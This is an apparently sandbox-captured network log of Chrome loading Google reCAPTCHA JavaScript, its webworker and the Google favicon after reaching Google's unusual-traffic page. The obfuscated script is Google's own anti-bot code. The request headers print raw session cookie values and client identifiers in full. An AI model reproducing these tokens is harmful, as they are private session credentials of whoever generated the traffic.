2024-02-20 22:46:09 UTC	440	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 42 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 20 64 7d 2c 58 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 4a 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 29 7b 69 66 28 7a 3d 28 64 3d 58 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 21 64 7c 7c 21 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 7a 3b 74 72 79 7b 7a 3d 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var B=function(d){return d},X=this\|\|self,J=function(d,z){if(z=(d=X.trustedTypes,null),!d\|\|!d.createPolicy)return z;try{z=d.createPolicy("bg",{createHTML:
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 63 72 65 61 74 65 53 63 72 69 70 74 28 49 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 49 29 7b 72 65 74 75 72 6e 22 22 2b 49 7d 7d 28 58 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 7a 4e 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 2c 58 2c 49 2c 56 2c 61 29 7b 66 6f 72 28 56 3d 28 49 3d 28 58 3d 28 7a 3d 6d 28 28 61 3d 64 5b 64 61 5d 7c 7c 7b 7d 2c 64 29 29 2c 61 2e 77 6b 3d 6d 28 64 29 2c 61 2e 4e 3d 5b 5d 2c 64 2e 54 3d 3d 64 3f 28 62 28 64 29 7c 30 29 2d 31 3a 31 29 2c 6d 28 64 29 29 2c 30 29 3b 56 3c 58 3b 56 2b 2b 29 61 2e 4e 2e 70 75 73 68 28 6d 28 64 29 29 3b 66 6f 72 28 61 2e 4a 65 3d 66 28 64 2c 7a 29 2c 61 2e 65 73 3d 66 28 64 2c Data Ascii: createScript(I)}:function(I){return""+I}}(X)(Array(7824*Math.random()\|0).join("\n")+'(function(){var zN=function(d,z,X,I,V,a){for(V=(I=(X=(z=m((a=d[da]\|\|{},d)),a.wk=m(d),a.N=[],d.T==d?(b(d)\|0)-1:1),m(d)),0);V<X;V++)a.N.push(m(d));for(a.Je=f(d,z),a.es=f(d,
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 7b 74 28 61 2c 64 29 2c 58 3d 64 2e 4c 7d 49 28 58 29 7d 65 6c 73 65 20 69 66 28 56 3d 3d 73 4b 29 7a 5b 33 5d 26 26 28 64 2e 58 3d 74 72 75 65 29 2c 7a 5b 34 5d 26 26 28 64 2e 55 3d 74 72 75 65 29 2c 64 2e 6f 28 7a 29 3b 65 6c 73 65 20 69 66 28 56 3d 3d 63 29 64 2e 58 3d 74 72 75 65 2c 64 2e 6f 28 7a 29 3b 65 6c 73 65 20 69 66 28 56 3d 3d 4a 53 29 7b 64 2e 58 3d 74 72 75 65 3b 74 72 79 7b 66 6f 72 28 58 3d 30 3b 58 3c 64 2e 75 2e 6c 65 6e 67 74 68 3b 58 2b 2b 29 74 72 79 7b 49 3d 64 2e 75 5b 58 5d 2c 49 5b 30 5d 5b 49 5b 31 5d 5d 28 49 5b 32 5d 29 7d 63 61 74 63 68 28 61 29 7b 7d 7d 63 61 74 63 68 28 61 29 7b 7d 28 30 2c 7a 5b 31 5d 29 28 66 75 6e 63 74 69 6f 6e 28 61 2c 6c 29 7b 64 2e 56 28 61 2c 74 72 75 65 2c 6c 29 7d 2c 28 64 2e 75 3d 5b 5d 2c 66 75 Data Ascii: {t(a,d),X=d.L}I(X)}else if(V==sK)z[3]&&(d.X=true),z[4]&&(d.U=true),d.o(z);else if(V==c)d.X=true,d.o(z);else if(V==JS){d.X=true;try{for(X=0;X<d.u.length;X++)try{I=d.u[X],I[0][I[1]](I[2])}catch(a){}}catch(a){}(0,z[1])(function(a,l){d.V(a,true,l)},(d.u=[],fu
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 6f 6e 28 49 29 7b 7a 2e 54 6f 28 49 29 2c 64 2e 54 6f 28 49 29 7d 2c 28 64 3d 28 7a 3d 6e 65 77 20 28 58 2e 70 72 6f 74 6f 74 79 70 65 2e 72 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 30 3d 3d 3d 74 68 69 73 2e 6e 29 72 65 74 75 72 6e 5b 30 2c 30 5d 3b 72 65 74 75 72 6e 5b 28 74 68 69 73 2e 57 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 49 2c 56 29 7b 72 65 74 75 72 6e 20 49 2d 56 7d 29 2c 74 68 69 73 2e 6e 29 2c 74 68 69 73 2e 57 5b 74 68 69 73 2e 57 2e 6c 65 6e 67 74 68 3e 3e 31 5d 5d 7d 2c 58 2e 70 72 6f 74 6f 74 79 70 65 2e 54 6f 3d 66 75 6e 63 74 69 6f 6e 28 49 2c 56 29 7b 28 74 68 69 73 2e 6e 2b 2b 2c 35 30 29 3e 74 68 69 73 2e 57 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 57 2e 70 75 73 68 28 49 29 3a 28 56 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 4d Data Ascii: on(I){z.To(I),d.To(I)},(d=(z=new (X.prototype.rk=function(){if(0===this.n)return[0,0];return[(this.W.sort(function(I,V){return I-V}),this.n),this.W[this.W.length>>1]]},X.prototype.To=function(I,V){(this.n++,50)>this.W.length?this.W.push(I):(V=Math.floor(M
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 28 49 3d 76 6f 69 64 20 30 2c 7a 2e 46 29 56 3d 5a 72 28 7a 2e 46 2c 7a 29 3b 65 6c 73 65 7b 69 66 28 58 3d 66 28 7a 2c 34 32 34 29 2c 58 3e 3d 61 29 62 72 65 61 6b 3b 56 3d 66 28 7a 2c 28 49 3d 6d 28 28 55 28 32 31 31 2c 7a 2c 58 29 2c 7a 29 29 2c 49 29 29 7d 56 26 26 56 5b 78 5d 26 32 30 34 38 3f 56 28 7a 2c 64 29 3a 53 28 7a 2c 5b 6e 2c 32 31 2c 49 5d 2c 30 29 2c 51 28 7a 2c 64 2c 66 61 6c 73 65 2c 66 61 6c 73 65 29 7d 63 61 74 63 68 28 6c 29 7b 66 28 7a 2c 34 37 30 29 3f 53 28 7a 2c 6c 2c 32 32 29 3a 55 28 34 37 30 2c 7a 2c 6c 29 7d 69 66 28 21 64 29 7b 69 66 28 7a 2e 58 42 29 7b 45 4b 28 32 34 36 35 35 33 30 30 37 32 37 34 2c 28 7a 2e 42 2d 2d 2c 7a 29 29 3b 72 65 74 75 72 6e 7d 53 28 7a 2c 5b 6e 2c 33 33 5d 2c 30 29 7d 7d 63 61 74 63 68 28 6c 29 7b Data Ascii: (I=void 0,z.F)V=Zr(z.F,z);else{if(X=f(z,424),X>=a)break;V=f(z,(I=m((U(211,z,X),z)),I))}V&&V[x]&2048?V(z,d):S(z,[n,21,I],0),Q(z,d,false,false)}catch(l){f(z,470)?S(z,l,22):U(470,z,l)}if(!d){if(z.XB){EK(246553007274,(z.B--,z));return}S(z,[n,33],0)}}catch(l){
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 28 64 2c 7a 29 7b 72 65 74 75 72 6e 20 7a 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a 3c 64 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 64 5b 7a 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 53 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 2c 58 2c 49 2c 56 2c 61 29 7b 69 66 28 21 64 2e 46 42 26 26 28 49 3d 76 6f 69 64 20 30 2c 7a 26 26 7a 5b 30 5d 3d 3d 3d 6e 26 26 28 49 3d 7a 5b 32 5d 2c 58 3d 7a 5b 31 5d 2c 7a 3d 76 6f 69 64 20 30 29 2c 56 3d 66 28 64 2c 34 34 38 29 2c 30 3d 3d 56 2e 6c 65 6e 67 74 68 26 26 28 61 3d 66 28 64 2c 32 31 31 29 3e 3e 33 2c 56 2e 70 75 73 68 28 58 2c 61 3e 3e 38 26 32 35 35 2c 61 26 32 35 35 29 2c 76 6f 69 64 20 30 21 3d 49 26 26 56 2e 70 75 73 68 28 49 26 32 35 35 Data Ascii: (d,z){return z=0,function(){return z<d.length?{done:false,value:d[z++]}:{done:true}}},S=function(d,z,X,I,V,a){if(!d.FB&&(I=void 0,z&&z[0]===n&&(I=z[2],X=z[1],z=void 0),V=f(d,448),0==V.length&&(a=f(d,211)>>3,V.push(X,a>>8&255,a&255),void 0!=I&&V.push(I&255
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 3d 30 2c 64 29 2c 49 29 3b 30 3c 47 3b 29 68 3d 56 25 38 2c 43 3d 38 2d 28 68 7c 30 29 2c 48 3d 56 3e 3e 33 2c 61 3d 7a 2e 48 5b 48 5d 2c 43 3d 43 3c 47 3f 43 3a 47 2c 58 26 26 28 4e 3d 7a 2c 42 3d 56 2c 4e 2e 44 21 3d 42 3e 3e 36 26 26 28 4e 2e 44 3d 42 3e 3e 36 2c 42 3d 66 28 4e 2c 33 38 39 29 2c 4e 2e 4c 65 3d 78 76 28 4e 2e 68 2c 5b 30 2c 30 2c 42 5b 31 5d 2c 42 5b 32 5d 5d 2c 4e 2e 44 29 29 2c 61 5e 3d 7a 2e 4c 65 5b 48 26 6c 5d 29 2c 4a 7c 3d 28 61 3e 3e 38 2d 28 68 7c 30 29 2d 28 43 7c 30 29 26 28 31 3c 3c 43 29 2d 31 29 3c 3c 28 47 7c 30 29 2d 28 43 7c 30 29 2c 47 2d 3d 43 2c 56 2b 3d 43 3b 72 65 74 75 72 6e 20 55 28 34 32 34 2c 28 58 3d 4a 2c 7a 29 2c 28 49 7c 30 29 2b 28 64 7c 30 29 29 2c 58 7d 2c 71 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 2c 58 Data Ascii: =0,d),I);0<G;)h=V%8,C=8-(h\|0),H=V>>3,a=z.H[H],C=C<G?C:G,X&&(N=z,B=V,N.D!=B>>6&&(N.D=B>>6,B=f(N,389),N.Le=xv(N.h,[0,0,B[1],B[2]],N.D)),a^=z.Le[H&l]),J\|=(a>>8-(h\|0)-(C\|0)&(1<<C)-1)<<(G\|0)-(C\|0),G-=C,V+=C;return U(424,(X=J,z),(I\|0)+(d\|0)),X},q=function(d,z,X
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 29 7b 69 66 28 64 2e 46 29 72 65 74 75 72 6e 20 5a 72 28 64 2e 4f 2c 64 29 3b 72 65 74 75 72 6e 28 7a 3d 75 28 38 2c 64 2c 74 72 75 65 29 2c 7a 26 31 32 38 29 26 26 28 7a 5e 3d 31 32 38 2c 64 3d 75 28 32 2c 64 2c 74 72 75 65 29 2c 7a 3d 28 7a 3c 3c 32 29 2b 28 64 7c 30 29 29 2c 7a 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 2c 58 2c 49 2c 56 29 7b 56 3d 74 68 69 73 3b 74 72 79 7b 52 73 28 49 2c 64 2c 7a 2c 74 68 69 73 2c 58 29 7d 63 61 74 63 68 28 61 29 7b 74 28 61 2c 74 68 69 73 29 2c 49 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 6c 28 56 2e 4c 29 7d 29 7d 7d 2c 6b 76 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 7a 29 7b 72 65 74 75 72 6e 20 64 28 66 75 6e 63 74 69 6f 6e 28 58 29 7b 58 28 7a 29 7d 29 2c 5b 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 7a Data Ascii: ){if(d.F)return Zr(d.O,d);return(z=u(8,d,true),z&128)&&(z^=128,d=u(2,d,true),z=(z<<2)+(d\|0)),z},w=function(d,z,X,I,V){V=this;try{Rs(I,d,z,this,X)}catch(a){t(a,this),I(function(l){l(V.L)})}},kv=function(d,z){return d(function(X){X(z)}),[function(){return z
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 61 29 3b 4b 28 74 72 75 65 2c 28 46 28 5b 28 46 28 5b 28 46 28 28 59 28 66 75 6e 63 74 69 6f 6e 28 42 29 7b 55 4b 28 34 2c 42 29 7d 2c 34 31 35 2c 28 28 59 28 66 75 6e 63 74 69 6f 6e 28 42 2c 4a 2c 48 2c 43 2c 47 2c 4e 2c 68 2c 41 2c 4d 2c 4c 2c 72 2c 45 29 7b 66 75 6e 63 74 69 6f 6e 20 52 28 70 2c 57 29 7b 66 6f 72 28 3b 4e 3c 70 3b 29 72 7c 3d 62 28 42 29 3c 3c 4e 2c 4e 2b 3d 38 3b 72 65 74 75 72 6e 20 57 3d 72 26 28 28 4e 2d 3d 70 2c 31 29 3c 3c 70 29 2d 31 2c 72 3e 3e 3d 70 2c 57 7d 66 6f 72 28 4c 3d 28 48 3d 28 72 3d 28 68 3d 6d 28 42 29 2c 4e 3d 30 29 2c 47 3d 28 52 28 33 29 7c 30 29 2b 31 2c 52 28 35 29 29 2c 5b 5d 29 2c 4a 3d 45 3d 30 3b 45 3c 48 3b 45 2b 2b 29 4d 3d 52 28 31 29 2c 4c 2e 70 75 73 68 28 4d 29 Data Ascii: fromCharCode(a);K(true,(F([(F([(F((Y(function(B){UK(4,B)},415,((Y(function(B,J,H,C,G,N,h,A,M,L,r,E){function R(p,W){for(;N<p;)r\|=b(B)<<N,N+=8;return W=r&((N-=p,1)<<p)-1,r>>=p,W}for(L=(H=(r=(h=m(B),N=0),G=(R(3)\|0)+1,R(5)),[]),J=E=0;E<H;E++)M=R(1),L.push(M)
2024-02-20 22:46:09 UTC	1252	IN	Data Raw: 4e 3d 66 28 28 4a 3d 66 28 28 4a 3d 28 47 3d 6d 28 28 68 3d 6d 28 28 4e 3d 6d 28 42 29 2c 42 29 29 2c 42 29 29 2c 6d 29 28 42 29 2c 42 29 2c 4a 29 2c 42 29 2c 4e 29 2c 42 29 2c 47 29 2c 68 3d 66 28 42 2c 68 29 2c 22 6f 62 6a 65 63 74 22 29 3d 3d 69 44 28 4e 29 29 7b 66 6f 72 28 48 20 69 6e 20 43 3d 5b 5d 2c 4e 29 43 2e 70 75 73 68 28 48 29 3b 4e 3d 43 7d 69 66 28 42 2e 54 3d 3d 42 29 66 6f 72 28 42 3d 30 2c 47 3d 30 3c 47 3f 47 3a 31 2c 48 3d 4e 2e 6c 65 6e 67 74 68 3b 42 3c 48 3b 42 2b 3d 47 29 68 28 4e 2e 73 6c 69 63 65 28 42 2c 28 42 7c 30 29 2b 28 47 7c 30 29 29 2c 4a 29 7d 7d 2c 28 59 28 66 75 6e 63 74 69 6f 6e 28 42 29 7b 6d 76 28 42 2c 34 29 7d 2c 35 30 34 2c 28 59 28 66 75 6e 63 74 69 6f 6e 28 42 2c 4a 2c 48 2c 43 2c 47 29 7b 28 47 3d 66 28 42 2c Data Ascii: N=f((J=f((J=(G=m((h=m((N=m(B),B)),B)),m)(B),B),J),B),N),B),G),h=f(B,h),"object")==iD(N)){for(H in C=[],N)C.push(H);N=C}if(B.T==B)for(B=0,G=0<G?G:1,H=N.length;B<H;B+=G)h(N.slice(B,(B\|0)+(G\|0)),J)}},(Y(function(B){mv(B,4)},504,(Y(function(B,J,H,C,G){(G=f(B,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49730	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:09 UTC	1457	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&co=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbTo0NDM.&hl=en&v=yiNW3R9jkyLVP5-EEZLDzUtA&size=normal&s=lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWomRvT9ZsLyU2pNy3cJT6ktzRP5y17XcMG-do_3Wz9iewnxFuXO9-Rn8pvEh73KR_ICtSbe2Z6e_Ei5_nwQyOLl8qvlYvQk4daw9H_NvC1gU1QG5NpYFKB5attDgP678B_k9rlXBPBo2eoAqVFlZ1Em14eX_80yS-dPAqW96lMh_xfWdLzYUhZtjmAdlCguJrDRQwMm7Rczgjwz-ZdX4GSGDCvHFQ8Zn5X9oOgweVqfE-fbaY&cb=yulbx0ey1rif Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:09 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Tue, 20 Feb 2024 22:46:09 GMT Date: Tue, 20 Feb 2024 22:46:09 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:09 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 79 69 4e 57 33 52 39 6a 6b 79 4c 56 50 35 2d 45 45 5a 4c 44 7a 55 74 41 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/yiNW3R9jkyLVP5-EEZLDzUtA/recaptcha__en.js');
2024-02-20 22:46:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49731	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:12 UTC	1178	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:12 UTC	705	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 20 Feb 2024 20:11:03 GMT Expires: Wed, 28 Feb 2024 20:11:03 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 9309 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:46:12 UTC	547	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-02-20 22:46:12 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-02-20 22:46:12 UTC	1127	IN	Data Raw: ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49732	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
